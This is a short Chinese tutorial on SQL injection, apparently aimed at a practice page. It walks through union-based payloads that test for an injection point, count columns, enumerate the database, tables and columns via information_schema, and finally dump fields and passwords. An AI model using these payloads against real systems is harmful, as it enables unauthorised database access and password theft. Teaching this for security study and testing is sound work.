什么是SQL注入
用户正常来说是不能访问网页的后台的,但是总有一些聪明的管理员忘记对用户输入的内容进行过滤。于是恶意攻击者就会在正常的输入后面添加一些SQL语句以达到访问后台数据的目的。
怎么进行SQL注入
首先
我们需要判断能否注入:在输入框中输入:
1' and 1=1#
然后这样一段代码就会被网页当作正常的请求带入数据库中
数据库中的代码可能为:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 "#'"
“#”后面的内容全部被注释掉,前面的SQL语句被执行,重新在输入框中输入
1' and 1=2#
恒不成立
如果第一次不出错,第二次出错,表明这里是一个注入点
然后
开始查询我们想要的信息:
1.列数量查询:order by n
查询这个表中有几列
2.查询数据库名: 使用union联合查询1' union select 1,database() #
返回数据库名
3.查询所有表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat() 是一个函数,将同一个id的其他字段合并起来。 table_name 就是表名的意思
information_schema.tables 是MySQL提供的自带的数据库,主要是提供用户自行建立的一些表的信息。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
table_schema=database() 指数据库名为database()
4.查询字段名:1’ union select 1,group_concat(column_name) from information_schema.columns where table_name='
某一个表名' #
铺垫已经完成,接下来我们可以查询所有信息了:
1’ or 1=1 union select group_concat(
某一个字段,
另一个字段,
另另一个字段),group_concat(password)from
表名 '#